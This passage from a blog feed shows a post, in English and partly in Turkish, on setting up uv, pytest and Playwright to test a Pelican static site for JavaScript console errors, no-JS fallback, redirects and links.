&lt;p&gt;Creating a static site is easy, but as complex themes and JavaScript plugins increase, the fear of "did something break?" begins. Let's take a closer look at how we can automate testing of our Pelican site with the &lt;code&gt;uv&lt;/code&gt; and &lt;code&gt;playwright&lt;/code&gt; duo.&lt;/p&gt;
&lt;h2 id="why-playwright-pelican-perspective"&gt;🛠️ Why Playwright? (Pelican Perspective)&lt;a class="headerlink" href="#why-playwright-pelican-perspective" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you compile your Pelican site with &lt;code&gt;pelican content -o output&lt;/code&gt;, you are left with a bunch of HTML files. However:
1. Is your "Dark Mode" button working with JavaScript?
2. Is there a hidden &lt;code&gt;404&lt;/code&gt; or &lt;code&gt;Uncaught TypeError&lt;/code&gt; in the console?
3. Does that animation you love so much break during transitions between pages?&lt;/p&gt;
&lt;p&gt;We can only understand these by programming a browser (headless browser).&lt;/p&gt;
&lt;h2 id="preparing-the-test-environment-with-uv"&gt;📦 Preparing the Test Environment with uv&lt;a class="headerlink" href="#preparing-the-test-environment-with-uv" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You're still not using standard &lt;code&gt;pip&lt;/code&gt;, right? Let's set up the test environment in seconds with &lt;code&gt;uv&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;--dev&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;playwright
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;playwright&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;webkit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="the-fixture-that-catches-insidious-errors"&gt;🧠 The Fixture That Catches Insidious Errors&lt;a class="headerlink" href="#the-fixture-that-catches-insidious-errors" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is the expert part of the job. We're not just looking at whether the page opened; we're setting up a "strict" test fixture that catches every error that drops into the console in the background. Let's bury this inside &lt;code&gt;tests/conftest.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pytest&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;playwright.sync_api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sync_playwright&lt;/span&gt;

&lt;span class="nd"&gt;&lt;a href="https://twitter.com/pytest"&gt;@pytest&lt;/a&gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fixture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"session"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;sync_playwright&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;browser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;webkit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;launch&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;browser&lt;/span&gt;
        &lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;&lt;a href="https://twitter.com/pytest"&gt;@pytest&lt;/a&gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fixture&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;page&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_context&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Let's accumulate console errors&lt;/span&gt;
    &lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pageerror"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"console"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"error"&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;

    &lt;span class="c1"&gt;# Explode if there are errors when the test is done!&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"JavaScript errors found on page: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="basic-and-advanced-test-scenarios"&gt;🧪 Basic and Advanced Test Scenarios&lt;a class="headerlink" href="#basic-and-advanced-test-scenarios" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We will test the files in the &lt;code&gt;output&lt;/code&gt; folder produced by Pelican directly using the &lt;code&gt;file:///&lt;/code&gt; protocol. Here are a few "lifesaving" test examples:&lt;/p&gt;
&lt;h3 id="1-page-loading-and-title-check"&gt;1. Page Loading and Title Check&lt;a class="headerlink" href="#1-page-loading-and-title-check" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;urllib.request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pathname2url&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;playwright.sync_api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;expect&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_home_page_loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;index_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"output/index.html"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"file://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pathname2url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index_path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_have_title&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Y&amp;uuml;cel Toluyag"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2-testing-when-javascript-is-disabled-expert-tip"&gt;2. Testing When JavaScript is Disabled (Expert Tip)&lt;a class="headerlink" href="#2-testing-when-javascript-is-disabled-expert-tip" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Your site should be readable even when JS is turned off. It's very easy to test this with Playwright:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_no_js_fallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Open a new context, turn off JS&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;java_script_enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"file://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pathname2url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'output/index.html'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# If you display an error message in &amp;lt;noscript&amp;gt;, check it&lt;/span&gt;
    &lt;span class="c1"&gt;# Or verify that the critical content is still there&lt;/span&gt;
    &lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_by_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Y&amp;uuml;cel Toluyag"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_be_visible&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="3-redirect-and-link-check"&gt;3. Redirect and Link Check&lt;a class="headerlink" href="#3-redirect-and-link-check" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you redirected an old page of yours to a new URL, you can verify whether it works correctly via the status code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_internal_redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://yuceltoluyag.com/eski-yazi/"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"https://yuceltoluyag.com/yeni-yazi/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="4-relational-dom-checks-with-xpath"&gt;4. Relational DOM Checks with XPath&lt;a class="headerlink" href="#4-relational-dom-checks-with-xpath" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Sometimes CSS selectors are not enough. For example, you can use XPath to select the button immediately next to or below a specific heading:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_article_sibling_button&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Find the 'Read more' button immediately following the 'Articles' header&lt;/span&gt;
    &lt;span class="n"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;locator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"xpath=//h2[contains(text(), 'Makaleler')]/following-sibling::a[1]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_have_attribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"href"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/makaleler/"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="running-the-tests_1"&gt;🚀 Running the Tests&lt;a class="headerlink" href="#running-the-tests" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you type this command from the terminal, Playwright secretly opens the browser, scans the site produced by Pelican, and reports to you if there is a JS error or a broken structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;tests/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="why-are-we-going-to-this-trouble"&gt;Why Are We Going to This Trouble?&lt;a class="headerlink" href="#why-are-we-going-to-this-trouble" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Because static sites are not "simple." Especially if you are writing your own theme or using complex CSS/JS structures, you always have the risk of breaking the entire site structure when updating an article. With Playwright, we reduce this risk to zero.&lt;/p&gt;
&lt;p&gt;Remember; writing tests is not a waste of time, it is insurance stolen from future sleepless nights. On this path you started with my &lt;a href="/en/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Installation&lt;/a&gt; guide, your site now stands strong like a real engineering product, karda&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Alright then, goodbye!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts_1"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/raspberry-pi-zero-ram-diskless-web-server/"&gt;Throw Away the Disks: Hosting a Website on RAM with Raspberry Pi Zero&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Geliştirme Araçları"/><category term="playwright"/><category term="python"/><category term="pelican"/><category term="testing"/><category term="static-site"/><category term="uv"/></entry><entry><title>Pelican Statik Sitenizi Playwright ile Test Edin: Hatalara Elveda</title><link href="https://yuceltoluyag.github.io/pelican-statik-site-playwright-test/" rel="alternate"/><published>2026-05-11T01:48:00+03:00</published><updated>2026-05-11T01:48:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/pelican-statik-site-playwright-test/</id><summary type="html">&lt;p&gt;Pelican ile ürettiğiniz statik sitenizi yayına almadan önce Playwright ve Python kullanarak nasıl otomatik testlerden geçireceğinizi anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Daha &amp;ouml;nce &lt;a href="/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Kurulum&lt;/a&gt; yaz&amp;inodot;mda bu canavar&amp;inodot; sistemimize nas&amp;inodot;l kuraca&amp;gbreve;&amp;inodot;m&amp;inodot;z&amp;inodot; anlatm&amp;inodot;&amp;scedil;t&amp;inodot;m. &amp;Scedil;imdi o g&amp;uuml;c&amp;uuml;, kendi blogumuzdaki (Pelican) hatalar&amp;inodot; ay&amp;inodot;klamak i&amp;ccedil;in sahaya s&amp;uuml;rme vakti. &lt;/p&gt;
&lt;p&gt;Statik site kurmak kolay, ama karma&amp;scedil;&amp;inodot;k temalar ve JavaScript eklentileri artt&amp;inodot;k&amp;ccedil;a "bir yerler k&amp;inodot;r&amp;inodot;ld&amp;inodot; m&amp;inodot;?" korkusu ba&amp;scedil;lar. Gelin, &lt;code&gt;uv&lt;/code&gt; ve &lt;code&gt;playwright&lt;/code&gt; ikilisiyle Pelican sitemizi nas&amp;inodot;l otomatize test ederiz, yak&amp;inodot;ndan bakal&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="neden-playwright-pelican-perspektifi"&gt;🛠️ Neden Playwright? (Pelican Perspektifi)&lt;a class="headerlink" href="#neden-playwright-pelican-perspektifi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pelican sitenizi &lt;code&gt;pelican content -o output&lt;/code&gt; ile derledi&amp;gbreve;inizde elinizde bir s&amp;uuml;r&amp;uuml; HTML kal&amp;inodot;r. Ancak:
1.  JavaScript ile &amp;ccedil;al&amp;inodot;&amp;scedil;an "Dark Mode" butonun &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor mu?
2.  Konsolda gizli bir &lt;code&gt;404&lt;/code&gt; veya &lt;code&gt;Uncaught TypeError&lt;/code&gt; var m&amp;inodot;?
3.  Sayfalar aras&amp;inodot; ge&amp;ccedil;i&amp;scedil;lerde o &amp;ccedil;ok sevdi&amp;gbreve;in animasyon patl&amp;inodot;yor mu?&lt;/p&gt;
&lt;p&gt;Bunlar&amp;inodot; sadece bir taray&amp;inodot;c&amp;inodot;y&amp;inodot; programlayarak (headless browser) anlayabiliriz.&lt;/p&gt;
&lt;h2 id="uv-ile-test-ortamn-hazrlamak"&gt;📦 uv ile Test Ortam&amp;inodot;n&amp;inodot; Haz&amp;inodot;rlamak&lt;a class="headerlink" href="#uv-ile-test-ortamn-hazrlamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hala standart &lt;code&gt;pip&lt;/code&gt; kullanm&amp;inodot;yorsunuz de&amp;gbreve;il mi? &lt;code&gt;uv&lt;/code&gt; ile saniyeler i&amp;ccedil;inde test ortam&amp;inodot;n&amp;inodot; kural&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;--dev&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;playwright
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;playwright&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;webkit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="sinsi-hatalar-yakalayan-fixture"&gt;🧠 Sinsi Hatalar&amp;inodot; Yakalayan Fixture&lt;a class="headerlink" href="#sinsi-hatalar-yakalayan-fixture" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in uzmanl&amp;inodot;k (expert) k&amp;inodot;sm&amp;inodot; buras&amp;inodot;. Sadece sayfa a&amp;ccedil;&amp;inodot;ld&amp;inodot; m&amp;inodot; diye bakm&amp;inodot;yoruz; arka planda konsola d&amp;uuml;&amp;scedil;en her hatay&amp;inodot; yakalayan "kat&amp;inodot;" (strict) bir test fixture'&amp;inodot; kuruyoruz. &lt;code&gt;tests/conftest.py&lt;/code&gt; i&amp;ccedil;ine &amp;scedil;unu g&amp;ouml;melim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pytest&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;playwright.sync_api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sync_playwright&lt;/span&gt;

&lt;span class="nd"&gt;&lt;a href="https://twitter.com/pytest"&gt;@pytest&lt;/a&gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fixture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"session"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;sync_playwright&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;browser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;webkit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;launch&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;browser&lt;/span&gt;
